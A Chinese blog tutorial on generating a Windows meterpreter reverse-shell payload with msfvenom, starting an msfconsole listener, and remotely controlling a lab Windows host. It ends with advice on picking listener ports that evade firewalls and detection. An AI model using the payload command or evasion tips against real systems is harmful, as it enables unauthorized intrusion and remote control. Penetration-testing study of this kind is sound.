news 2026/8/21 12:42:28

使用metasploit生成payload并进行远程控制

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
使用metasploit生成payload并进行远程控制

Metasploit 是一款开源的渗透测试与漏洞利用框架,由 Rapid7 公司维护,是信息安全领域(尤其是渗透测试、漏洞研究)最常用的工具之一。它的核心功能是帮助安全人员合法地模拟黑客攻击,以评估目标系统的安全性,发现并修复潜在漏洞。

生成payload:

例如:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.113.136 lport=5000 -f exe -o /root/payload.exe

其中参数:

Msfvenom:用于生成恶意payload的工具

用到参数-p-f-o

-p, –payload Payload to use;指定哪些有效载荷生成

本例中 windows/meterpreter/reverse_tcp :用于Windows平台的反向远程控制程序

-f, –format Output format;指定有效载荷的格式

本例中 exe 生成Windows系统的可执行文件

-o, –out Save the payload;指定保存位置

本例中 /root/payload.exe

LHOST:是 “Local Host” 的缩写,指控制端(这里是 Kali Linux 主机)的 IP 地址(图中为192.168.113.136)。目标主机运行生成的payload.exe后,会主动向这个 IP 发起连接,从而建立控制会话。

LPORT:是 “Local Port” 的缩写,指控制端监听的端口(图中为5000)。Kali 需在这个端口上启动监听程序,等待目标主机的连接请求。

图示为成功生成了在5000端口运行的payload。

开启metasploit的交互式命令控制台msfconsole进行配置:

配置payload:windows/meterpreter/reverse_tcp

配置lhost:kali ip

配置lport:5000

如图所示为配置好的payload,键入run开启监听。

如图所示为生成的payload,使用文件传输命令将其从http下载到本机Windows

windows开始运行payload.exe后,看到kali命令行中成功连接信息

此时我们就可以通过meterpreter对目标Windows系统进行远程控制了。

关于监听端口的选择:

在渗透测试中选择监听端口(LPORT)需要综合考虑可用性、隐蔽性、目标环境限制等因素,以下是具体原则和建议:

一、监听端口选择的核心原则
  1. 避免常用系统端口

    • 不要选择1-1024范围内的知名端口(如80HTTP、443HTTPS、22SSH 等):这些端口可能被目标防火墙默认放行,但也可能被控制端本地服务占用,或被安全设备标记为 “高风险端口”。
    • 优先选择1024-65535非知名端口(如444455558888等),降低被检测的概率。
  2. 避开目标环境的拦截规则

    • 若已知目标防火墙 / 安全组的策略,选择其放行的端口(例如目标允许80803389等端口的出站流量,则可优先选这些端口)。
    • 避免目标常用的 “黑名单端口”(如部分企业会拦截44445555等渗透测试常用端口)。
  3. 确保控制端本地端口未被占用

    • 选择前可先用
      netstat -tulpn | grep
      端口号检查 Kali 本地是否已占用该端口,避免端口冲突导致监听失败。
二、推荐的常用监听端口

渗透测试常用(相对隐蔽且少被占用):44445555666688889999

仿合法服务端口(增强隐蔽性):8080(仿 HTTP 服务)、8443(仿 HTTPS 服务)、1080(仿代理服务);

随机高端口:直接选择10000-60000之间的随机端口(如2345634567),进一步降低被识别的概率。

三、注意事项

同一控制端同时监听多个 payload 时,需使用不同的 LPORT,避免端口冲突;

若目标有严格的出站端口限制,可尝试使用443(HTTPS)、80(HTTP)等 “通用放行端口”,但需确保控制端本地未占用这些端口。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/21 22:14:33

Day37 MLP神经网络的训练

先搞懂基础准备:PyTorch CUDA(让训练更快) MLP 训练通常用PyTorch 框架,如果电脑有 N 卡(NVIDIA 显卡),可以装CUDA让显卡帮着加速计算。 安装:先装对应版本的 CUDA,再…

作者头像 李华
网站建设 2026/8/20 17:46:03

MouseTester:免费鼠标性能测试工具完整使用指南

MouseTester:免费鼠标性能测试工具完整使用指南 【免费下载链接】MouseTester 项目地址: https://gitcode.com/gh_mirrors/mo/MouseTester 还在为鼠标响应延迟、光标漂移而困扰吗?MouseTester作为一款专业的开源鼠标测试工具,通过数据…

作者头像 李华
网站建设 2026/8/20 21:54:19

KeymouseGo自动化工具终极指南:从零基础到高效应用

KeymouseGo自动化工具终极指南:从零基础到高效应用 【免费下载链接】KeymouseGo 类似按键精灵的鼠标键盘录制和自动化操作 模拟点击和键入 | automate mouse clicks and keyboard input 项目地址: https://gitcode.com/gh_mirrors/ke/KeymouseGo 在现代工作环…

作者头像 李华
网站建设 2026/8/21 15:30:01

leetcode 困难题 749. Contain Virus 隔离病毒

Problem: 749. Contain Virus 隔离病毒 解题过程 拿到每个区域内影响cell最多的那个,cell0的不能重复,不能用sum的最大值,而是te.size()的最大值,然后最大的区域置-1,继续感染的,继续统计最大的那个区域 Co…

作者头像 李华
网站建设 2026/8/20 10:30:07

语音合成 - 用 Python 合成藏语三大方言语音

通过使用藏语语音合成技术,可以把一段藏文文字,快速变成可用的音频,用在短视频、朗读、课件或字幕配音里。本文介绍一套 Python 脚本,可以直接合成藏语三大方言的语音: 卫藏方言:facebook/mms-tts-bod ([Hu…

作者头像 李华